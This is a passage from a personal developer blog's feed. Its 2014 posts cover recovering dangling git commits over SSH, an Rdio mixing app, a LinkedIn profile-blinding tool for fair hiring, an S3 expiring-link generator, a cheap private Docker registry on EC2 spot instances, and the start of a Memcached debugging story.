&lt;p&gt;Eventually using the SSH Proxy I recorded the sent data and was able to create new tags by just modifying the SHA line. As long as the SHA exists on the remote this command should work.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;cat stdin.out | ssh -x git@github.com &quot;git-receive-pack 'pcorliss/force_push_testing.git'&quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;tool-for-tag-creation&quot;&gt;Tool For Tag Creation&lt;/h2&gt;

&lt;p&gt;Using the recorded data I created a second tool for the express purpose of generating the appropriate command and sending to the remote server.
It allows a user to automatically &lt;a href=&quot;https://github.com/pcorliss/dangling_commit&quot;&gt;create tags for dangling commits&lt;/a&gt;.
I had a number of difficulties dealing with IO appropriately but after some tweaking it now works with both &lt;a href=&quot;https://github.com/&quot;&gt;Github&lt;/a&gt; and &lt;a href=&quot;https://bitbucket.org&quot;&gt;Bitbucket&lt;/a&gt; endpoints and should work with any git endpoint that uses SSH.&lt;/p&gt;

&lt;h2 id=&quot;github-api-method&quot;&gt;GitHub API method&lt;/h2&gt;
&lt;p&gt;After I started writing this blog post I found this &lt;a href=&quot;http://www.objectpartners.com/2014/02/11/recovering-a-commit-from-githubs-reflog/&quot;&gt;alternate method&lt;/a&gt; which uses the &lt;a href=&quot;https://developer.github.com/v3/&quot;&gt;GitHub API&lt;/a&gt;.
As far as I can tell there isn’t a corollary on the &lt;a href=&quot;https://confluence.atlassian.com/display/BITBUCKET/Use+the+Bitbucket+REST+APIs&quot;&gt;Bitbucket API&lt;/a&gt;.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Rdio & Belly DJ</title>
   <link href="https://blog.50projects.com/2014/10/rdio-belly-dj.html"/>
   <updated>2014-10-29T00:00:00+00:00</updated>
   <id>https://blog.50projects.com/2014/10/rdio-belly-dj</id>
   <content type="html">
&lt;h3 id=&quot;tldr-belly-djherokuappcom&quot;&gt;TLDR: &lt;a href=&quot;http://belly-dj.herokuapp.com/&quot;&gt;belly-dj.herokuapp.com&lt;/a&gt;&lt;/h3&gt;

&lt;p&gt;I started looking for full-time work recently and an old co-worker of mine mentioned &lt;a href=&quot;https://tech.bellycard.com/join/&quot;&gt;Belly&lt;/a&gt;.
When I took a peek at their engineering page I was particularly excited by the &lt;a href=&quot;https://tech.bellycard.com/join/#javascript-audio-player&quot;&gt;front-end JS challenge&lt;/a&gt; they had posted.&lt;/p&gt;

&lt;p&gt;The basic gist is &lt;a href=&quot;https://tech.bellycard.com/join/&quot;&gt;Belly&lt;/a&gt; provides a wrapper around the &lt;a href=&quot;http://www.rdio.com/developers/docs/web-service/index/&quot;&gt;Rdio API&lt;/a&gt;.
The candidate’s challenge is to build something on top of that.
The challenge is purposefully vague in order to encourage creativity.&lt;/p&gt;

&lt;p&gt;In my case I thought it would be neat to create some semblance of a mixing table for &lt;a href=&quot;http://www.rdio.com/home/en-us/&quot;&gt;Rdio&lt;/a&gt; streams.
I’m not a DJ or even really familiar with how mixing tables work.
But how hard could it be (Famous last words.)&lt;/p&gt;

&lt;h2 id=&quot;challenges&quot;&gt;Challenges&lt;/h2&gt;

&lt;p&gt;Initially my plan was to just initialize two &lt;a href=&quot;http://www.rdio.com/developers/docs/web-playback/index/&quot;&gt;Rdio API&lt;/a&gt; streams.
However &lt;a href=&quot;http://www.rdio.com/home/en-us/&quot;&gt;Rdio&lt;/a&gt; actively prevents users from playing two simultaneous streams.
If you try it the oldest stream will be cut off.
This appears to affect a currently logged in user across multiple computers as well as a browser window sharing the same session.&lt;/p&gt;

&lt;p&gt;To get around this I first tried using two iframes and the &lt;a href=&quot;http://www.w3schools.com/tags/att_iframe_sandbox.asp&quot;&gt;sandbox attribute&lt;/a&gt;.
This unfortunately was also a non-starter.
While the &lt;a href=&quot;http://www.rdio.com/developers/docs/web-playback/index/&quot;&gt;Rdio API&lt;/a&gt; will stream within an iframe it will not stream within an iframe with any &lt;a href=&quot;http://www.w3schools.com/tags/att_iframe_sandbox.asp&quot;&gt;sandbox options&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;At this point I had to resort to separate browser windows.
It also meant this supposedly simple project of mine needed a communication mechanism between two browser windows.
Thankfully &lt;a href=&quot;http://socket.io/&quot;&gt;socket.io&lt;/a&gt; is available and with some headaches I had basic communication between the two windows.&lt;/p&gt;

&lt;h2 id=&quot;the-best-part&quot;&gt;The Best Part&lt;/h2&gt;

&lt;p&gt;Probably the most straightforward feature was the spinning album art but it also happens to be my favorite.
Modern browsers contain all sorts of CSS transitions that web developers don’t get to use because the support is lacking or implemented inconsistently.
Thankfully when you’re making something for yourself or only a handful of others which you know are all using Chrome you get to experiment a little.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-CSS&quot;&gt;.rotate {
  -webkit-animation:spin 4s linear infinite;
  -moz-animation:spin 4s linear infinite;
  animation:spin 4s linear infinite;
}

.paused {
  -webkit-animation-play-state:paused;
  -moz-animation-play-state:paused;
  animation-play-state:paused;
}
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&quot;code--link&quot;&gt;Code &amp;amp; Link&lt;/h2&gt;

&lt;p&gt;You can see the code on my &lt;a href=&quot;https://github.com/pcorliss&quot;&gt;github page&lt;/a&gt; at &lt;a href=&quot;https://github.com/pcorliss/belly-rdio-dj&quot;&gt;github.com/pcorliss/belly-rdio-dj&lt;/a&gt;.
The app itself is available on &lt;a href=&quot;https://www.heroku.com/&quot;&gt;Heroku&lt;/a&gt; at &lt;a href=&quot;http://belly-dj.herokuapp.com/&quot;&gt;belly-dj.herokuapp.com&lt;/a&gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Bringing the Orchestra Screen to Tech</title>
   <link href="https://blog.50projects.com/2014/10/bringing-the-orchestra-screen-to-tech.html"/>
   <updated>2014-10-20T00:00:00+00:00</updated>
   <id>https://blog.50projects.com/2014/10/bringing-the-orchestra-screen-to-tech</id>
   <content type="html">
&lt;h3 id=&quot;tldr-badbiasherokuappcom&quot;&gt;TLDR: &lt;a href=&quot;http://badbias.herokuapp.com/&quot;&gt;BadBias.herokuapp.com&lt;/a&gt;&lt;/h3&gt;

&lt;p&gt;The last chapter of Malcolm Gladwell’s book
&lt;a href=&quot;http://www.amazon.com/gp/product/0316010669/ref=as_li_tl?ie=UTF8&amp;amp;camp=1789&amp;amp;creative=9325&amp;amp;creativeASIN=0316010669&amp;amp;linkCode=as2&amp;amp;tag=blog50proje-20&amp;amp;linkId=23GUU7O2R3YT6Q4W&quot;&gt;Blink&lt;/a&gt;
introduced me to the concept of screens used for orchestra auditions.
For those that are unfamiliar: a screen is set up to hide the identity of the performer from those evaluating the candidate.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Using data from actual auditions in an individual fixed-effects framework, we find that the screen increases by 51% the probability a woman will be advanced out of certain preliminary rounds. The screen also enhances, by severalfold, the likelihood a female contestant will be the winner in the final round.&lt;/p&gt;

  &lt;p&gt;Claudia Goldin, Cecilia Rouse -
&lt;cite title=&quot;Orchestrating Impartiality: The Impact of &amp;quot;Blind&amp;quot; Auditions on Female Musicians&quot;&gt;
&lt;a href=&quot;http://www.nber.org/papers/w5903&quot;&gt;Orchestrating Impartiality: The Impact of “Blind” Auditions on Female Musicians&lt;/a&gt;
&lt;/cite&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;These findings got me thinking about possible ways to apply this to the interview process for technology.
For many tech companies, the decision to hire candidates is based on their ability to write code to solve a series of problems, often evaluated via a combination of homework, a technical phone-screen, and in-person interviews.
During this process, the candidate’s resume and code is reviewed by multiple people, and bias can arise from surprising sources.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;The results show significant discrimination against African-American names: White names receive 50 percent more callbacks for interviews.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;blockquote&gt;
  &lt;p&gt;Marianne Bertrand, Sendhil Mullainathan -
&lt;cite title=&quot;Are Emily and Greg More Employable than Lakisha and Jamal? A Field Experiment on Labor Market Discrimination&quot;&gt;
&lt;a href=&quot;http://www.nber.org/papers/w9873&quot;&gt;Are Emily and Greg More Employable than Lakisha and Jamal? A Field Experiment on Labor Market Discrimination&lt;/a&gt;
&lt;/cite&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&quot;a-simple-tool-to-remove-bias&quot;&gt;A Simple Tool to Remove Bias&lt;/h2&gt;

&lt;p&gt;As a first step, I decided to build a &lt;a href=&quot;http://badbias.herokuapp.com/&quot;&gt;simple tool&lt;/a&gt; for blinding public &lt;a href=&quot;https://www.linkedin.com&quot;&gt;LinkedIn&lt;/a&gt; profiles by hiding data that could be used to infer the race, gender, or age of the candidate.
I included the option to hide company and educational institution names to avoid advancing candidates based on pedigree alone.&lt;/p&gt;

&lt;p&gt;You can see an example of my &lt;a href=&quot;https://www.linkedin.com/in/philipcorliss&quot;&gt;public profile&lt;/a&gt; and the &lt;a href=&quot;http://badbias.herokuapp.com/linkedin/phil&quot;&gt;blind version&lt;/a&gt;&lt;/p&gt;

&lt;h2 id=&quot;challenges&quot;&gt;Challenges&lt;/h2&gt;

&lt;p&gt;&lt;a href=&quot;https://www.linkedin.com&quot;&gt;LinkedIn&lt;/a&gt; has an &lt;a href=&quot;https://developer.linkedin.com/&quot;&gt;API&lt;/a&gt;, but they &lt;a href=&quot;https://developer.linkedin.com/documents/profile-fields&quot;&gt;don’t offer a user’s public profile without that specific user logging in via oAuth&lt;/a&gt;.
As a result, I had to go the screen-scraping route and process the contents using &lt;a href=&quot;http://www.nokogiri.org/&quot;&gt;Nokogiri&lt;/a&gt;.
This leaves the project in an especially brittle state, where a small change on &lt;a href=&quot;https://www.linkedin.com&quot;&gt;LinkedIn&lt;/a&gt;’s side could mean that the content is rendered incorrectly or that it throws errors.&lt;/p&gt;

&lt;p&gt;Public-profiles on &lt;a href=&quot;https://www.linkedin.com&quot;&gt;LinkedIn&lt;/a&gt; use two totally different templates.
Here’s an example of &lt;a href=&quot;https://www.linkedin.com/in/philipcorliss&quot;&gt;my profile&lt;/a&gt; and a &lt;a href=&quot;https://www.linkedin.com/in/redsquirrel&quot;&gt;former colleague’s profile&lt;/a&gt;.
I’m unable to explain the reasoning for it, but parsing and replacing text within both profiles without completely breaking either required a lot of effort.&lt;/p&gt;

&lt;p&gt;Certain portions of a resume — summaries, volunteer work, and awards — can provide identifying information about the candidate.
Some of it made sense to hide, i.e.
the user’s co-workers and people in their network, but other information, like awards, seemed too important to omit.&lt;/p&gt;

&lt;p&gt;The link you view when browsing &lt;a href=&quot;https://www.linkedin.com&quot;&gt;LinkedIn&lt;/a&gt; isn’t the public profile of the user, and there isn’t an API to convert it to a public profile either.
I’m guessing this will lead to a lot of head-scratching and a poor user-experience.&lt;/p&gt;

&lt;h4 id=&quot;valid-public-profile-links&quot;&gt;Valid Public Profile Links&lt;/h4&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.linkedin.com/in/philipcorliss&quot;&gt;/in/philipcorliss&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;/pub/philip-corliss/0/349/28&lt;/li&gt;
&lt;/ul&gt;

&lt;h4 id=&quot;non-public-profile-links&quot;&gt;Non-Public Profile Links&lt;/h4&gt;
&lt;ul&gt;
  &lt;li&gt;/profile/view?id=123456789&amp;amp;authType=name&amp;amp;authToken=xvZQ&amp;amp;trk=prof-sb-browse_map-name&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href=&quot;https://www.linkedin.com&quot;&gt;LinkedIn&lt;/a&gt; has a number of anti-screen-scraping protections in place.
As an example, this is what happens when you make a request with certain user-agents or from certain IPs.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ curl -I 'https://www.linkedin.com/in/philipcorliss'
HTTP/1.1 999 Request denied
Date: Mon, 20 Oct 2014 22:00:20 GMT
Server: ATS
X-Li-Pop: PROD-ELA4
X-LI-UUID: 24URwzD6nhPwF54ilysAAA==
Content-Length: 511
Content-Type: text/html
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;next-steps&quot;&gt;Next Steps&lt;/h2&gt;

&lt;p&gt;Next, I intend to integrate with GitHub to create a completely blind code review tool that companies can use to assign coding challenges to candidates.&lt;/p&gt;

&lt;h2 id=&quot;code--link&quot;&gt;Code &amp;amp; Link&lt;/h2&gt;

&lt;p&gt;There’s no code provided for this project as it’s a mess of untested spaghetti mostly built as a proof of concept.
But you can visit and use the project freely at &lt;a href=&quot;http://badbias.herokuapp.com/&quot;&gt;BadBias.herokuapp.com&lt;/a&gt;.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Tool to Generate S3 Expiring Links</title>
   <link href="https://blog.50projects.com/2014/08/tool-to-generate-s3-expiring-links.html"/>
   <updated>2014-08-29T00:00:00+00:00</updated>
   <id>https://blog.50projects.com/2014/08/tool-to-generate-s3-expiring-links</id>
   <content type="html">
&lt;h3 id=&quot;s3-expiry50projectscom&quot;&gt;&lt;a href=&quot;http://s3-expiry.50projects.com/&quot;&gt;s3-expiry.50projects.com&lt;/a&gt;&lt;/h3&gt;

&lt;h2 id=&quot;the-problem&quot;&gt;The Problem&lt;/h2&gt;

&lt;p&gt;While doing some AWS consulting for a new client I was struck by how difficult it was sometimes to download a file from &lt;a href=&quot;http://aws.amazon.com/s3/&quot;&gt;S3&lt;/a&gt;.
You can make the file world readable, but that’s not terribly secure and odds are you’ll forget to turn it off.
You can copy the URL generated by the Download button in the &lt;a href=&quot;http://aws.amazon.com/s3/&quot;&gt;S3&lt;/a&gt; console, but by default that only lasts 5 minutes, and if you have a 5Gb file you’ll be out of luck.
A plethora of tools exist to solve this problem but I never have time to install, configure, purchase a license, etc…&lt;/p&gt;

&lt;p&gt;Fortunately &lt;a href=&quot;http://aws.amazon.com/s3/&quot;&gt;S3&lt;/a&gt; allows you to &lt;a href=&quot;http://docs.aws.amazon.com/AmazonS3/latest/API/sigv4-query-string-auth.html&quot;&gt;generate your own&lt;/a&gt; expiring links with expirations lasting up to 7 days.
With that in mind all I needed to do was build a simple client-side JS app that would generate the link for me.
Then I could put it online and use it whenever necessary without fear of exposing my clients sensitive data.&lt;/p&gt;

&lt;h2 id=&quot;building-it&quot;&gt;Building It&lt;/h2&gt;

&lt;p&gt;&lt;a href=&quot;https://code.google.com/p/crypto-js/&quot;&gt;CryptoJS&lt;/a&gt; exists and allows me to perform the necessary HMAC-SHA256 operations to generate the signature.
The tough part was implementing it in JS and matching Amazon’s very &lt;a href=&quot;http://docs.aws.amazon.com/AmazonS3/latest/API/sigv4-query-string-auth.html&quot;&gt;finnicky documentation&lt;/a&gt;.&lt;/p&gt;

&lt;h2 id=&quot;lessons-learned&quot;&gt;Lessons Learned&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;I could have built this for Signature Version 2 which is far simpler.&lt;/li&gt;
  &lt;li&gt;The [AWS documentation’s]((http://docs.aws.amazon.com/AmazonS3/latest/API/sigv4-query-string-auth.html) &lt;a href=&quot;http://en.wikipedia.org/wiki/Hash-based_message_authentication_code&quot;&gt;HMAC-SHA256&lt;/a&gt; function takes the secret first. CryptoJS takes the secret as the last argument.&lt;/li&gt;
  &lt;li&gt;I still have trouble making things look pretty. I need a CSS framework for quick utility sites that doesn’t require me to relearn everything.&lt;/li&gt;
  &lt;li&gt;I adore that you can host a site quickly on s3. Simply create a bucket named the domain you’ll be hosting, then set everything to public.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://aws.amazon.com/s3/&quot;&gt;S3&lt;/a&gt; is still slow for publicly hosting resources. If this were higher traffic I’d put a &lt;a href=&quot;http://aws.amazon.com/cloudfront/&quot;&gt;CloudFront&lt;/a&gt; instance in front of it.&lt;/li&gt;
  &lt;li&gt;I was a bit bummed to see someone beat me to building this. You can see their implementation at http://www.dancartoon.com/projects/s3-siggenerator/&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;code-and-link&quot;&gt;Code And Link&lt;/h2&gt;

&lt;h3 id=&quot;githubcompcorlisss3-expiry&quot;&gt;&lt;a href=&quot;https://github.com/pcorliss/s3-expiry&quot;&gt;github.com/pcorliss/s3-expiry&lt;/a&gt;&lt;/h3&gt;
&lt;h3 id=&quot;s3-expiry50projectscom-1&quot;&gt;&lt;a href=&quot;http://s3-expiry.50projects.com/&quot;&gt;s3-expiry.50projects.com&lt;/a&gt;&lt;/h3&gt;

</content>
 </entry>
 
 <entry>
   <title>Build Your Own Private Docker Registry for $3/month</title>
   <link href="https://blog.50projects.com/2014/08/build-your-own-private-docker-registry.html"/>
   <updated>2014-08-21T00:00:00+00:00</updated>
   <id>https://blog.50projects.com/2014/08/build-your-own-private-docker-registry</id>
   <content type="html">&lt;p&gt;We recently needed to deploy and start hosting a new venture I’m working on, &lt;a href=&quot;https://gitsentry.com&quot;&gt;GitSentry&lt;/a&gt;. Because of a fairly complicated setup on our part &lt;a href=&quot;https://www.heroku.com/&quot;&gt;Heroku&lt;/a&gt; was out of the question. I had been working with &lt;a href=&quot;https://www.docker.com/&quot;&gt;Docker&lt;/a&gt; prior to this so it seemed like the logical next step for service configuration and deployment. One problem, I needed the host my docker images in a registry, but I didn’t want my code to be public. A number of &lt;a href=&quot;#private-docker-registry-services&quot;&gt;private docker registries&lt;/a&gt; have popped up recently, but I’m not always rational when it comes to valuing my time against small monthly fees. So I went down the path of investigating what it would take to host my own registry.&lt;/p&gt;

&lt;h2 id=&quot;dockerdocker-registry&quot;&gt;&lt;a href=&quot;https://github.com/docker/docker-registry&quot;&gt;docker/docker-registry&lt;/a&gt;&lt;/h2&gt;

&lt;p&gt;This will be easy! There’s already a private registry docker image available and built for this purpose. But a few problems, we need to host it, configure the host, configure persistent storage, and configure secure access.&lt;/p&gt;

&lt;h2 id=&quot;hosting&quot;&gt;Hosting&lt;/h2&gt;

&lt;p&gt;Finding a persistent online host isn’t easy. &lt;a href=&quot;https://www.digitalocean.com/?refcode=e1808aec974e&quot;&gt;DigitalOcean&lt;/a&gt; is the cheapest at $5/mo. AWS is competitive at about $9/mo or $0.013/hr for their t2.micro instances. But you can get a little bit better by paying some money upfront for a 3 year reserved instance averaging out to $4.50/mo. But even better than that you can leverage spot instances at $0.0031/hr or about $3/mo after some additional support fees (EBS and transfer).&lt;/p&gt;

&lt;h2 id=&quot;spot-instances&quot;&gt;Spot Instances&lt;/h2&gt;

&lt;p&gt;Normally reserved for a different type of workload you can leverage a spot request by setting your maximum bid high enough to get almost persistence. You might still be out-bid or the instance might fail due to a service interruption. Fortunately you can use cloud-config on the Amazon Linux AMIs to automatically start the registry on boot, and S3 for storage.&lt;/p&gt;

&lt;h2 id=&quot;s3-configuration&quot;&gt;S3 Configuration&lt;/h2&gt;

&lt;p&gt;You’ll need to store the docker images somewhere. The docker registry provides several possible endpoints but s3 is the most convenient. Create a bucket in s3 and note the name.&lt;/p&gt;

&lt;p&gt;For security purposes I like to provision a custom user with access to only that bucket and nothing else. This is the custom IAM policy I use. Note the access key and secret after creating the user.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;{
  &quot;Version&quot;: &quot;2012-10-17&quot;,
  &quot;Statement&quot;: [
        {
            &quot;Effect&quot;: &quot;Allow&quot;,
            &quot;Action&quot;: &quot;s3:ListAllMyBuckets&quot;,
            &quot;Resource&quot;: &quot;arn:aws:s3:::*&quot;
        },
        {
            &quot;Effect&quot;: &quot;Allow&quot;,
            &quot;Action&quot;: &quot;s3:*&quot;,
            &quot;Resource&quot;: [
                &quot;arn:aws:s3:::your-bucket&quot;,
                &quot;arn:aws:s3:::your-bucket/*&quot;
            ]
        }
  ]
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;dyndns&quot;&gt;DynDNS&lt;/h2&gt;

&lt;p&gt;I use &lt;a href=&quot;http://www.namecheap.com/?aff=72667&quot;&gt;Namecheap&lt;/a&gt; as my registrar and DNS provider for non-critical domains. They also provide a handy DynDNS service that allows me to curl a url and set the ip address for a hostname. Any other DynDNS service should be able to do the job if you don’t use Namecheap.&lt;/p&gt;

&lt;p&gt;My spot instance has been running for about 70 days now without interruption so you might be able to get away with doing this manually to avoid extra setup.&lt;/p&gt;

&lt;h2 id=&quot;ec2-configuration&quot;&gt;EC2 Configuration&lt;/h2&gt;

&lt;h3 id=&quot;select-an-availability-zone&quot;&gt;Select an Availability Zone&lt;/h3&gt;
&lt;p&gt;Each AWS account has a different mapping for availability zones. This prevents me from suggesting the zone which has the least amount of price variance for spot instances. Under &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EC2 -&amp;gt; Spot Requests -&amp;gt; Pricing History&lt;/code&gt; you can view the volatility under different zones for t1.micro instances over the last 3 months. Pick the one that stays nearest to the baseline.&lt;/p&gt;

&lt;h3 id=&quot;define-a-security-group&quot;&gt;Define a Security Group&lt;/h3&gt;

&lt;p&gt;I define a custom security group for my docker registry which exposes HTTP and SSH to just my IP address. You may want to do the same otherwise your private registry will be world readable and writeable. There’s an &lt;a href=&quot;https://github.com/docker/docker-registry/#authentication-options&quot;&gt;authentication section&lt;/a&gt; available with more info on limiting access.&lt;/p&gt;

&lt;h3 id=&quot;spot-instance-configuration&quot;&gt;Spot Instance Configuration&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;Select the latest Amazon Linux AMI with paravirtual support. At the time this was written that was &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Amazon Linux AMI 2014.03.2 (PV) - ami-7c807d14&lt;/code&gt;.&lt;/li&gt;
  &lt;li&gt;Select the t1.micro instance type&lt;/li&gt;
  &lt;li&gt;Specify your maximum bid. The higher this is the more likely your instance will stay persistent but may result in a higher monthly cost. I set mine to $0.0075/hr but have rarely seen my costs rise above the baseline of $0.0031/hr.&lt;/li&gt;
  &lt;li&gt;Turn on Persistent request. This will request new spot instances if you get out bid or an instance dies for some reason.&lt;/li&gt;
  &lt;li&gt;Select the Availability Zone you determined from the pricing history.&lt;/li&gt;
  &lt;li&gt;Advanced -&amp;gt; User Data: This is run after boot on your instance. Make sure to replace the values in brackets with your own values.&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;#cloud-config
runcmd:
 - &quot;echo 'Running Docker Setup and Registry'&quot;
 - 'IPADDR=$(curl http://169.254.169.254/latest/meta-data/public-ipv4) &amp;amp;&amp;amp; curl -i &quot;https://dynamicdns.park-your-domain.com/update?host=[hostname]&amp;amp;domain=[domain]&amp;amp;password=[password]&amp;amp;ip=$IPADDR&quot;'
 - &quot;yum update -y&quot;
 - &quot;yum install docker -y&quot;
 - &quot;/etc/init.d/docker start&quot;
 - &quot;docker run -d -e SETTINGS_FLAVOR=s3 -e AWS_BUCKET=[YOUR_S3_BUCKET] -e STORAGE_PATH=/registry -e AWS_KEY=[YOUR_AWS_KEY] -e AWS_SECRET=[YOUR_AWS_SECRET] -e STORAGE_REDIRECT=true -p '80:5000' registry&quot;
 - &quot;echo 'Done Setting up Docker'&quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;ul&gt;
  &lt;li&gt;Select a Security Group from the list as defined earlier.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Startup is much slower than normal on-demand instances so make sure to budget about 15-20 minutes for the instance request, boot, package installation, and docker image download.&lt;/p&gt;

&lt;h2 id=&quot;testing-1-2-3&quot;&gt;Testing 1, 2, 3&lt;/h2&gt;
&lt;p&gt;If all went well you should see something like the following when you curl your endpoint. “docker-registry server (s3) (v0.8.0)”&lt;/p&gt;

&lt;p&gt;Run the following commands for a full end-to-end test&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;docker pull ubuntu:latest
docker tag ubuntu:latest [endpoint_fqdn]/ubuntu_test
docker push [endpoint_fqdn]/ubuntu_test
docker pull [endpoint_fqdn]/ubuntu_test
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;private-docker-registry-services&quot;&gt;Private Docker Registry Services&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://registry.hub.docker.com/plans/&quot;&gt;Docker Hub&lt;/a&gt; - $7-$12/mo&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://quay.io/plans/&quot;&gt;Quay.io&lt;/a&gt; - $12-25/mo&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.tutum.co/pricing/&quot;&gt;Tutum&lt;/a&gt; - $4/mo&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;full-disclosure&quot;&gt;Full Disclosure&lt;/h3&gt;
&lt;ul&gt;
  &lt;li&gt;The &lt;a href=&quot;http://www.namecheap.com/?aff=72667&quot;&gt;Namecheap&lt;/a&gt; and &lt;a href=&quot;https://www.digitalocean.com/?refcode=e1808aec974e&quot;&gt;DigitalOcean&lt;/a&gt; links use my referral code.&lt;/li&gt;
&lt;/ul&gt;
</content>
 </entry>
 
 <entry>
   <title>Memcached Doesn't Work the Way You Think It Does</title>
   <link href="https://blog.50projects.com/2014/02/memcached-doesnt-work-way-you-think-it.html"/>
   <updated>2014-02-03T00:00:00+00:00</updated>
   <id>https://blog.50projects.com/2014/02/memcached-doesnt-work-way-you-think-it</id>
   <content type="html">&lt;div class='post'&gt;
&lt;div dir=&quot;ltr&quot; style=&quot;line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;&quot;&gt;&lt;span style=&quot;font-family: Arial; font-size: 15px; line-height: 1.15; white-space: pre-wrap;&quot;&gt;A coworker strolled over to my desk late on a Thursday afternoon and casually mentioned that one of our internal tools was unresponsive. On investigation I discovered that the box was getting hammered with requests, under normal circumstances this machines receives 1 RPM (requests/minute) but was currently receiving 1200 RPM.&lt;/span&gt;&lt;/div&gt;&lt;b style=&quot;font-weight: normal;&quot;&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;div dir=&quot;ltr&quot; style=&quot;line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;&quot;&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;In this case we started looking at our caching code and the Memcached pool. There were no graphs or alerts that showed anything odd. In our case each Memcached instance was configured to use 4Gb of memory but only 1Gb of memory was being used according to Memcached’s internal bytes statistic. The large number of requests pointed to an empty cache, but nothing in the code indicated what could be causing it. So we ran a few tests and found some troubling results.&lt;/span&gt;&lt;/div&gt;&lt;b style=&quot;font-weight: normal;&quot;&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;div dir=&quot;ltr&quot; style=&quot;line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;&quot;&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: 'Courier New'; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&amp;gt;&amp;gt; Rails.cache.write(&quot;phil_test_key&quot;, JSON.parse(result.http_response.body), :expires_in =&amp;gt; 1.day)&lt;/span&gt;&lt;/div&gt;&lt;div dir=&quot;ltr&quot; style=&quot;line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;&quot;&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: 'Courier New'; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;=&amp;gt; true&lt;/span&gt;&lt;/div&gt;&lt;div dir=&quot;ltr&quot; style=&quot;line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;&quot;&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: 'Courier New'; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&amp;gt;&amp;gt; 100.times do |i|&lt;/span&gt;&lt;/div&gt;&lt;div dir=&quot;ltr&quot; style=&quot;line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;&quot;&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: 'Courier New'; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;?&amp;gt; &amp;nbsp;&amp;nbsp;break if Rails.cache.read(&quot;phil_test_key&quot;, :raw =&amp;gt; true).nil?&lt;/span&gt;&lt;/div&gt;&lt;div dir=&quot;ltr&quot; style=&quot;line-height: 1.15; 